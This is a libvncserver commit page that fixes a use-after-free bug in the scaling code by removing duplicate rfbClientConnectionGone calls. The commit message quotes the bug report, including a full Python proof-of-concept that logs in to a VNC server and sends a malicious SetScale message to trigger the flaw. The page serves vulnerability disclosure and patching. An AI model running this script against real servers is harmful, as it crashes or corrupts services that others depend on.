summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorChristian Beier <dontmind@freeshell.org>2014-10-21 17:33:28 +0200
committerChristian Beier <dontmind@freeshell.org>2014-10-21 17:33:28 +0200
commit668d3e3785bef9ee9a887192ee37f043d0d3c2f4 (patch)
treee9491feaebd994c5112400858320fdac3ac00e7a
parentd4c0ebf3c7294598b19b2fe019bd79d5b6e9a67d (diff)
downloadlibvncserver-668d3e3785bef9ee9a887192ee37f043d0d3c2f4.zip
libvncserver-668d3e3785bef9ee9a887192ee37f043d0d3c2f4.tar.gz
Fix Use-After-Free vulnerability in LibVNCServer wrt scaling.
Reported by Ken Johnson <Ken.Johnson1@telus.com>. The vulnerability would occur in both the rfbPalmVNCSetScaleFactor and rfbSetScale cases in the rfbProcessClientNormalMessage function of rfbserver.c. Sending a valid scaling factor is required (non-zero) if (msg.ssc.scale == 0) { rfbLogPerror("rfbProcessClientNormalMessage: will not accept a scale factor of zero"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetScaleMsg, sz_rfbSetScaleMsg); rfbLog("rfbSetScale(%d)\n", msg.ssc.scale); rfbScalingSetup(cl,cl->screen->width/msg.ssc.scale, cl->screen->height/msg.ssc.scale); rfbSendNewScaleSize(cl); << This is the call that can trigger a free. return; at the end, both cases there is a call the rfbSendNewScaleSize function, where if the connection is subsequently disconnected after sending the VNC scaling message can lead to a free occurring. else { rfbResizeFrameBufferMsg rmsg; rmsg.type = rfbResizeFrameBuffer; rmsg.pad1=0; rmsg.framebufferWidth = Swap16IfLE(cl->scaledScreen->width); rmsg.framebufferHeigth = Swap16IfLE(cl->scaledScreen->height); rfbLog("Sending a response to a UltraVNC style frameuffer resize event (%dx%d)\n", cl->scaledScreen->width, cl->scaledScreen->height); if (rfbWriteExact(cl, (char *)&rmsg, sz_rfbResizeFrameBufferMsg) < 0) { rfbLogPerror("rfbNewClient: write"); rfbCloseClient(cl); rfbClientConnectionGone(cl); << Call which may can lead to a free. return FALSE; } } return TRUE; Once this function returns, eventually rfbClientConnectionGone is called again on the return from rfbProcessClientNormalMessage. In KRFB server this leads to an attempt to access client->data. POC script to trigger the vulnerability: ---snip--- import socket,binascii,struct,sys from time import sleep class RFB: INIT_3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a" AUTH_NO_PASS = "\x01" AUTH_PASS = "\x02" SHARE_DESKTOP = "\x01" def AUTH_PROCESS(self,data,flag): if flag == 0: # Get security types secTypeCount = data[0] secType = {} for i in range(int(len(secTypeCount))): secType[i] = data[1] return secType elif flag == 1: # Get auth result # 0 means auth success # 1 means failure return data[3] def AUTH_PROCESS_CHALLENGE(self, data, PASSWORD): try: from Crypto.Cipher import DES except: print "Error importing crypto. Please fix or do not require authentication" sys.exit(1) if len(PASSWORD) != 8: PASSWORD = PASSWORD.ljust(8, '\0') PASSWORD_SWAP = [self.reverse_bits(ord(PASSWORD[0])),self.reverse_bits(ord(PASSWORD[1])),self.reverse_bits(ord(PASSWORD[2])),self.reverse_bits(ord(PASSWORD[3])),self.reverse_bits(ord(PASSWORD[4])),self.reverse_bits(ord(PASSWORD[5])),self.reverse_bits(ord(PASSWORD[6])),self.reverse_bits(ord(PASSWORD[7]))] PASSWORD = (struct.pack("BBBBBBBB",PASSWORD_SWAP[0],PASSWORD_SWAP[1],PASSWORD_SWAP[2],PASSWORD_SWAP[3],PASSWORD_SWAP[4],PASSWORD_SWAP[5],PASSWORD_SWAP[6],PASSWORD_SWAP[7])) crypto = DES.new(PASSWORD) return crypto.encrypt(data) def reverse_bits(self,x): a=0 for i in range(8): a += ((x>>i)&1)<<(7-i) return a def main(argv): print "Proof of Concept" print "Copyright TELUS Security Labs" print "All Rights Reserved.\n" try: HOST = sys.argv[1] PORT = int(sys.argv[2]) except: print "Usage: python setscale_segv_poc.py <host> <port> [password]" sys.exit(1) try: PASSWORD = sys.argv[3] except: print "No password supplied" PASSWORD = "" vnc = RFB() remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM) remote.connect((HOST,PORT)) # Get server version data = remote.recv(1024) # Send 3.8 version remote.send(vnc.INIT_3008) # Get supported security types data = remote.recv(1024) # Process Security Message secType = vnc.AUTH_PROCESS(data,0) if secType[0] == "\x02": # Send accept for password auth remote.send(vnc.AUTH_PASS) # Get challenge data = remote.recv(1024) # Send challenge response remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD)) elif secType[0] == "\x01": # Send accept for None pass remote.send(vnc.AUTH_NO_PASS) else: print 'The server sent us something weird during auth.' sys.exit(1) # Get result data = remote.recv(1024) # Process result result = vnc.AUTH_PROCESS(data,1) if result == "\x01": # Authentication failure. data = remote.recv(1024) print 'Authentication failure. Server Reason: ' + str(data) sys.exit(1) elif result == "\x00": print "Authentication success." else: print 'Some other authentication issue occured.' sys.exit(1) # Send ClientInit remote.send(vnc.SHARE_DESKTOP) # Send malicious message print "Sending malicious data..." remote.send("\x08\x08\x00\x00") remote.close() if __name__ == "__main__": main(sys.argv) ---snap---
-rw-r--r--libvncserver/scale.c2
1 files changed, 0 insertions, 2 deletions
diff --git a/libvncserver/scale.c b/libvncserver/scale.c
index d5b3f8b..d11db40 100644
--- a/libvncserver/scale.c
+++ b/libvncserver/scale.c
@@ -413,7 +413,6 @@ int rfbSendNewScaleSize(rfbClientPtr cl)
if (rfbWriteExact(cl, (char *)&pmsg, sz_rfbPalmVNCReSizeFrameBufferMsg) < 0) {
rfbLogPerror("rfbNewClient: write");
rfbCloseClient(cl);
- rfbClientConnectionGone(cl);
return FALSE;
}
}
@@ -428,7 +427,6 @@ int rfbSendNewScaleSize(rfbClientPtr cl)
if (rfbWriteExact(cl, (char *)&rmsg, sz_rfbResizeFrameBufferMsg) < 0) {
rfbLogPerror("rfbNewClient: write");
rfbCloseClient(cl);
- rfbClientConnectionGone(cl);
return FALSE;
}
}
OpenPOWER on IntegriCloud